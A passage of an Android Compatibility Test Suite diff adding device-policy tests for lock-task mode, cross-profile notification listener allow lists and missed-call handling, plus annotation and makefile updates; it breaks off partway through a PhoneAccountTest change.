+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import android.app.ActivityManager;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test class that is meant to be driven from the host and can't be run alone, which is required
+ * for tests that include rebooting or other connection-breaking steps. For this reason, this class
+ * does not override tearDown and setUp just initializes the test state, changing nothing in the
+ * device. Therefore, the host is responsible for making sure the tests leave the device in a clean
+ * state after running.
+ */
+@RunWith(AndroidJUnit4.class)
+public class LockTaskHostDrivenTest {
+
+ private static final String TAG = LockTaskHostDrivenTest.class.getName();
+
+ private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000; // 20 seconds
+ private static final String PACKAGE_NAME = LockTaskHostDrivenTest.class.getPackage().getName();
+ private static final ComponentName ADMIN_COMPONENT =
+ new ComponentName(PACKAGE_NAME, BaseDeviceOwnerTest.BasicAdminReceiver.class.getName());
+
+ private static final String LOCK_TASK_ACTIVITY
+ = LockTaskUtilityActivityIfWhitelisted.class.getName();
+
+ private UiDevice mUiDevice;
+ private Context mContext;
+ private ActivityManager mActivityManager;
+ private DevicePolicyManager mDevicePolicyManager;
+
+ private volatile boolean mIsActivityResumed;
+ private final Object mActivityResumedLock = new Object();
+
+ private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ String action = intent.getAction();
+ Log.d(TAG, "onReceive: " + action);
+ if (LockTaskUtilityActivity.RESUME_ACTION.equals(action)) {
+ synchronized (mActivityResumedLock) {
+ mIsActivityResumed = true;
+ mActivityResumedLock.notify();
+ }
+ } else if (LockTaskUtilityActivity.PAUSE_ACTION.equals(action)) {
+ synchronized (mActivityResumedLock) {
+ mIsActivityResumed = false;
+ mActivityResumedLock.notify();
+ }
+ }
+ }
+ };
+
+ @Before
+ public void setUp() {
+ mContext = InstrumentationRegistry.getContext();
+ mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mActivityManager = mContext.getSystemService(ActivityManager.class);
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(LockTaskUtilityActivity.RESUME_ACTION);
+ filter.addAction(LockTaskUtilityActivity.PAUSE_ACTION);
+ mContext.registerReceiver(mReceiver, filter);
+ }
+
+ @After
+ public void tearDown() {
+ mContext.unregisterReceiver(mReceiver);
+ }
+
+ @Test
+ public void startLockTask() throws Exception {
+ Log.d(TAG, "startLockTask on host-driven test (no cleanup)");
+ setDefaultHomeIntentReceiver();
+ launchLockTaskActivity();
+ mUiDevice.waitForIdle();
+ }
+
+ @Test
+ public void testLockTaskIsActiveAndCantBeInterrupted() throws Exception {
+ mUiDevice.waitForIdle();
+
+ // We need to wait until the LockTaskActivity is ready
+ // since com.android.cts.deviceowner can be killed by AMS for reason "start instr".
+ synchronized (mActivityResumedLock) {
+ if (!mIsActivityResumed) {
+ mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+ }
+ }
+ checkLockedActivityIsRunning();
+
+ mUiDevice.pressBack();
+ mUiDevice.waitForIdle();
+ checkLockedActivityIsRunning();
+
+ mUiDevice.pressHome();
+ mUiDevice.waitForIdle();
+ checkLockedActivityIsRunning();
+
+ mUiDevice.pressRecentApps();
+ mUiDevice.waitForIdle();
+ checkLockedActivityIsRunning();
+
+ mUiDevice.waitForIdle();
+ }
+
+ @Test
+ public void clearDefaultHomeIntentReceiver() {
+ mDevicePolicyManager.clearPackagePersistentPreferredActivities(ADMIN_COMPONENT,
+ PACKAGE_NAME);
+ mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
+ }
+
+ private void checkLockedActivityIsRunning() throws Exception {
+ assertTrue(isActivityOnTop());
+ assertEquals(ActivityManager.LOCK_TASK_MODE_LOCKED,
+ mActivityManager.getLockTaskModeState());
+ }
+
+ private boolean isActivityOnTop() {
+ return mActivityManager.getAppTasks().get(0).getTaskInfo().topActivity
+ .getClassName().equals(LOCK_TASK_ACTIVITY);
+ }
+
+ private void launchLockTaskActivity() {
+ Intent intent = new Intent();
+ intent.setClassName(PACKAGE_NAME, LOCK_TASK_ACTIVITY);
+ intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(LockTaskUtilityActivity.START_LOCK_TASK, true);
+ mContext.startActivity(intent);
+ }
+
+ private void setDefaultHomeIntentReceiver() {
+ mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+ IntentFilter intentFilter = new IntentFilter(Intent.ACTION_MAIN);
+ intentFilter.addCategory(Intent.CATEGORY_HOME);
+ intentFilter.addCategory(Intent.CATEGORY_DEFAULT);
+ mDevicePolicyManager.addPersistentPreferredActivity(ADMIN_COMPONENT, intentFilter,
+ new ComponentName(PACKAGE_NAME, LOCK_TASK_ACTIVITY));
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
index 1751244..971d5da 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
@@ -19,6 +19,8 @@
import android.content.Context;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
/**
* The following test can run in DeviceOwner mode or non-DeviceOwner mode.
* Don't inherit {@link BaseDeviceOwnerTest}
@@ -35,6 +37,7 @@
mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
}
+ @CddTest(requirement="3.9.1.1/C-1-6")
public void testIsProvisioningAllowedFalse() {
assertFalse(mDevicePolicyManager.isProvisioningAllowed(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE));
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/VrTemperatureTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/VrTemperatureTest.java
index 6c139aa..321f3d6 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/VrTemperatureTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/VrTemperatureTest.java
@@ -21,6 +21,8 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import java.lang.Math;
public class VrTemperatureTest extends BaseDeviceOwnerTest {
@@ -78,6 +80,7 @@
/**
* Tests that temperature sensors return valid values.
*/
+ @CddTest(requirement="7.9.2/C-1-13")
public void testVrTemperatures() throws InterruptedException, SecurityException {
if (!supportsVrHighPerformance())
return;
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
index 964c389..d1ed96f 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
@@ -26,11 +26,15 @@
LOCAL_JAVA_LIBRARIES := android.test.runner
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-v4 \
+ ctstestrunner \
+ legacy-android-test \
+ compatibility-device-util
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
index f305e86..5e4fb07 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
@@ -23,6 +23,8 @@
import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
import android.test.InstrumentationTestCase;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
import java.lang.InterruptedException;
@@ -42,6 +44,7 @@
// We can't just register a broadcast receiver in the code because the broadcast
// may have been sent before this test is run. So we have a manifest receiver
// listening to the broadcast and writing to a shared preference when it receives it.
+ @CddTest(requirement="3.2.3.4/C-0-1")
public void testOwnerChangedBroadcastReceived() throws InterruptedException {
final Semaphore mPreferenceChanged = new Semaphore(0);
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.mk b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
index b0abc23..b71ddfb 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
@@ -26,11 +26,15 @@
LOCAL_JAVA_LIBRARIES := android.test.runner
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-v4 \
+ ctstestrunner \
+ ub-uiautomator \
+ legacy-android-test
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
index 19fd3bd..ed4943f 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
@@ -24,13 +24,17 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := legacy-android-test cts-junit
-LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES = \
+ android-support-v4 \
+ ctstestrunner \
+ android-support-test \
+ legacy-android-test
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
index 9e86d13..932f691 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
@@ -24,11 +24,11 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := cts-junit
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
index ae6282f..b947a61 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
@@ -26,12 +26,18 @@
LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
-LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner compatibility-device-util \
- ub-uiautomator android-support-test guava
+LOCAL_STATIC_JAVA_LIBRARIES = \
+ android-support-v4 \
+ ctstestrunner \
+ compatibility-device-util \
+ ub-uiautomator \
+ android-support-test \
+ guava \
+ legacy-android-test
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index b8a5eae6..05ebac0 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -30,6 +30,7 @@
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<application
android:testOnly="true">
@@ -114,6 +115,17 @@
<data android:mimeType="vnd.android.cursor.item/phone" />
<data android:mimeType="vnd.android.cursor.item/person" />
</intent-filter>
+ <intent-filter>
+ <action android:name="android.intent.action.DIAL" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.intent.action.VIEW" />
+ <action android:name="android.intent.action.DIAL" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.BROWSABLE" />
+ <data android:scheme="tel" />
+ </intent-filter>
</activity>
<service android:name=".AccountService" android:exported="true">
<intent-filter>
@@ -132,6 +144,31 @@
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
+
+ <service
+ android:name=".CrossProfileNotificationListenerService"
+ android:label="CrossProfileNotificationListenerService"
+ android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" >
+ <intent-filter>
+ <action android:name="android.service.notification.NotificationListenerService" />
+ </intent-filter>
+ </service>
+
+ <receiver android:name=".MissedCallNotificationReceiver">
+ <intent-filter>
+ <action android:name="android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION" />
+ </intent-filter>
+ </receiver>
+
+ <!-- Dummy receiver that's decleared direct boot aware. This is needed to make the test app
+ executable by instrumentation before device unlock -->
+ <receiver android:name=".ResetPasswordWithTokenTest$DummyReceiver"
+ android:directBootAware="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+ </intent-filter>
+ </receiver>
+
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileNotificationListenerService.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileNotificationListenerService.java
new file mode 100644
index 0000000..9a17733
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileNotificationListenerService.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import static com.android.cts.managedprofile.NotificationListenerTest.ACTION_NOTIFICATION_POSTED;
+import static com.android.cts.managedprofile.NotificationListenerTest.ACTION_NOTIFICATION_REMOVED;
+import static com.android.cts.managedprofile.NotificationListenerTest.ACTION_LISTENER_CONNECTED;
+
+import android.content.Intent;
+import android.service.notification.NotificationListenerService;
+import android.service.notification.StatusBarNotification;
+import android.support.v4.content.LocalBroadcastManager;
+import android.util.Log;
+
+public class CrossProfileNotificationListenerService extends NotificationListenerService {
+
+ static final String NOTIFICATION_CHANNEL = "NotificationListenerTest";
+ private static final String TAG = NotificationListenerTest.TAG;
+
+ @Override
+ public void onNotificationPosted(StatusBarNotification sbn) {
+ Log.i(TAG, "onNotificationPosted(" + sbn + ")");
+ sendBroadcastForNotification(sbn, ACTION_NOTIFICATION_POSTED);
+ }
+
+ @Override
+ public void onNotificationRemoved(StatusBarNotification sbn) {
+ Log.i(TAG, "onNotificationRemoved(" + sbn + ")");
+ sendBroadcastForNotification(sbn, ACTION_NOTIFICATION_REMOVED);
+ }
+
+ @Override
+ public void onListenerConnected() {
+ Log.i(TAG, "onListenerConnected() " + android.os.Process.myPid());
+ LocalBroadcastManager.getInstance(this).sendBroadcast(
+ new Intent(ACTION_LISTENER_CONNECTED));
+ }
+
+ @Override
+ public void onListenerDisconnected() {
+ Log.i(TAG, "onListenerDisconnected()");
+ }
+
+ private void sendBroadcastForNotification(StatusBarNotification sbn, String action) {
+ if (NOTIFICATION_CHANNEL.equals(sbn.getNotification().getChannelId())) {
+ LocalBroadcastManager.getInstance(this).sendBroadcast(new Intent(action));
+ } else {
+ Log.i(TAG, "Notification is for different channel "
+ + sbn.getNotification().getChannelId());
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java
index 0b1731d..b00e0a4 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DummyConnectionService.java
@@ -31,6 +31,9 @@
*/
public class DummyConnectionService extends ConnectionService {
+ public static final String MISSED_PHONE_NUMBER = "520";
+ public static final String NORMAL_PHONE_NUMBER = "886";
+
@Override
public Connection onCreateOutgoingConnection(PhoneAccountHandle connectionManagerPhoneAccount,
ConnectionRequest request) {
@@ -112,17 +115,28 @@
}
}
+ private static int convertNumberToCause(String number) {
+ switch (number) {
+ case NORMAL_PHONE_NUMBER:
+ return DisconnectCause.LOCAL;
+ case MISSED_PHONE_NUMBER:
+ return DisconnectCause.MISSED;
+ }
+ throw new IllegalArgumentException("Should not happen");
+ }
+
/**
* Hang up the call after 1 second in a background thread.
* TODO: It is better if we could have a callback to know when we can disconnect the call.
*/
private static void hangUpAsync(final Connection connection) {
+ final int cause = convertNumberToCause(connection.getAddress().getSchemeSpecificPart());
new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(1000);
- connection.onDisconnect();
+ connection.setDisconnected(new DisconnectCause(cause));
} catch (InterruptedException ex) {
// let it be
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/MissedCallNotificationReceiver.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/MissedCallNotificationReceiver.java
new file mode 100644
index 0000000..9a06f55
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/MissedCallNotificationReceiver.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class MissedCallNotificationReceiver extends BroadcastReceiver {
+
+ private static IntentListener sIntentListener;
+
+ public interface IntentListener {
+
+ void onIntentReceived(Intent intent);
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ sIntentListener.onIntentReceived(intent);
+ }
+
+ public static void setIntentListener(IntentListener listener) {
+ sIntentListener = listener;
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
new file mode 100644
index 0000000..499e710
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
@@ -0,0 +1,226 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.uiautomator.UiDevice;
+import android.support.v4.content.LocalBroadcastManager;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.util.Collections;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@SmallTest
+public class NotificationListenerTest {
+
+ static final String TAG = "ListenerTest";
+ static final String ACTION_NOTIFICATION_POSTED = "notification_posted";
+ static final String ACTION_NOTIFICATION_REMOVED = "notification_removed";
+ static final String ACTION_LISTENER_CONNECTED = "listener_connected";
+
+ private static final String PARAM_PROFILE_ID = "profile-id";
+
+ static final String SENDER_COMPONENT =
+ "com.android.cts.managedprofiletests.notificationsender/.SendNotification";
+
+ private final LocalBroadcastReceiver mReceiver = new LocalBroadcastReceiver();
+ private Context mContext;
+ private DevicePolicyManager mDpm;
+ private UiDevice mDevice;
+ private int mProfileUserId;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mDpm = mContext.getSystemService(DevicePolicyManager.class);
+ mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mProfileUserId = getParam(InstrumentationRegistry.getArguments(), PARAM_PROFILE_ID);
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(ACTION_NOTIFICATION_POSTED);
+ filter.addAction(ACTION_NOTIFICATION_REMOVED);
+ filter.addAction(ACTION_LISTENER_CONNECTED);
+ LocalBroadcastManager.getInstance(mContext).registerReceiver(mReceiver, filter);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ LocalBroadcastManager.getInstance(mContext).unregisterReceiver(mReceiver);
+ toggleNotificationListener(false);
+ }
+
+ @Test
+ public void testSetEmptyWhitelist() throws Exception {
+ mDpm.setPermittedCrossProfileNotificationListeners(
+ BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT,
+ Collections.<String>emptyList());
+ }
+
+ @Test
+ public void testAddListenerToWhitelist() throws Exception {
+ mDpm.setPermittedCrossProfileNotificationListeners(
+ BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT,
+ Collections.singletonList(mContext.getPackageName()));
+ }
+
+ @Test
+ public void testSetNullWhitelist() throws Exception {
+ mDpm.setPermittedCrossProfileNotificationListeners(
+ BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT, null);
+ }
+
+ @Test
+ public void testCanReceiveNotifications() throws Exception {
+ toggleNotificationListener(true);
+
+ sendProfileNotification();
+ assertTrue(mReceiver.waitForNotificationPostedReceived());
+ cancelProfileNotification();
+ assertTrue(mReceiver.waitForNotificationRemovedReceived());
+
+ mReceiver.reset();
+
+ sendPersonalNotification();
+ assertTrue(mReceiver.waitForNotificationPostedReceived());
+ cancelPersonalNotification();
+ assertTrue(mReceiver.waitForNotificationRemovedReceived());
+ }
+
+ @Test
+ public void testCannotReceiveProfileNotifications() throws Exception {
+ toggleNotificationListener(true);
+
+ sendProfileNotification();
+ // Don't see notification or cancellation from work profile.
+ assertFalse(mReceiver.waitForNotificationPostedReceived());
+ cancelProfileNotification();
+ assertFalse(mReceiver.waitForNotificationRemovedReceived());
+
+ mReceiver.reset();
+
+ // Do see the one from the personal side.
+ sendPersonalNotification();
+ assertTrue(mReceiver.waitForNotificationPostedReceived());
+ cancelPersonalNotification();
+ assertTrue(mReceiver.waitForNotificationRemovedReceived());
+ }
+
+ private void cancelProfileNotification() throws IOException {
+ mDevice.executeShellCommand(
+ "am start --user " + mProfileUserId + " -a CANCEL_NOTIFICATION -n "
+ + SENDER_COMPONENT);
+ }
+
+ private void cancelPersonalNotification() throws IOException {
+ mDevice.executeShellCommand(
+ "am start -a CANCEL_NOTIFICATION -n "
+ + SENDER_COMPONENT);
+ }
+
+ private void sendProfileNotification() throws IOException {
+ mDevice.executeShellCommand(
+ "am start --user " + mProfileUserId + " -a POST_NOTIFICATION -n "
+ + SENDER_COMPONENT);
+ }
+
+ private void sendPersonalNotification() throws IOException {
+ mDevice.executeShellCommand(
+ "am start -a POST_NOTIFICATION -n "
+ + SENDER_COMPONENT);
+ }
+
+ private void toggleNotificationListener(boolean enable) throws Exception {
+ String testListener = new ComponentName(
+ mContext, CrossProfileNotificationListenerService.class).flattenToString();
+ mDevice.executeShellCommand("cmd notification "
+ + (enable ? "allow_listener " : "disallow_listener ")
+ + testListener);
+ Log.i(TAG, "Toggled notification listener state" + testListener + " to state " + enable);
+ if (enable) {
+ assertTrue(mReceiver.waitForListenerConnected());
+ }
+ }
+
+ private int getParam(Bundle arguments, String key) throws Exception {
+ String serial = arguments.getString(key);
+ if (serial == null) {
+ throw new IllegalArgumentException("Missing argument " + key);
+ }
+ return Integer.parseInt(serial);
+ }
+
+ static class LocalBroadcastReceiver extends BroadcastReceiver {
+
+ private static final int TIMEOUT_SECONDS = 10;
+
+ private CountDownLatch mNotificationPostedLatch = new CountDownLatch(1);
+ private CountDownLatch mNotificationRemovedLatch = new CountDownLatch(1);
+ private CountDownLatch mListenerConnectedLatch = new CountDownLatch(1);
+
+ public void reset() {
+ mNotificationPostedLatch = new CountDownLatch(1);
+ mNotificationRemovedLatch = new CountDownLatch(1);
+ mListenerConnectedLatch = new CountDownLatch(1);
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.i(TAG, "onReceive(" + intent + ")");
+ if (ACTION_NOTIFICATION_POSTED.equals(intent.getAction())) {
+ mNotificationPostedLatch.countDown();
+ } else if (ACTION_NOTIFICATION_REMOVED.equals(intent.getAction())) {
+ mNotificationRemovedLatch.countDown();
+ } else if (ACTION_LISTENER_CONNECTED.equals(intent.getAction())) {
+ mListenerConnectedLatch.countDown();
+ } else {
+ Log.e(TAG, "Received broadcast for unknown action: " + intent.getAction());
+ }
+ }
+
+ public boolean waitForNotificationPostedReceived() throws InterruptedException {
+ return mNotificationPostedLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+ }
+
+ public boolean waitForNotificationRemovedReceived() throws InterruptedException {
+ return mNotificationRemovedLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+ }
+
+ public boolean waitForListenerConnected() throws InterruptedException {
+ return mListenerConnectedLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+ }
+ }
+
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PhoneAccountTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PhoneAccountTest.java
index 63f2309..7d108c8 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PhoneAccountTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PhoneAccountTest.java
@@ -17,6 +17,9 @@
package com.android.cts.managedprofile;
+import static com.android.cts.managedprofile.DummyConnectionService.MISSED_PHONE_NUMBER;
+import static com.android.cts.managedprofile.DummyConnectionService.NORMAL_PHONE_NUMBER;
+
import android.app.Instrumentation;
import android.content.ComponentName;
import android.content.Context;
@@ -36,6 +39,8 @@
import android.telecom.TelecomManager;
import android.test.InstrumentationTestCase;
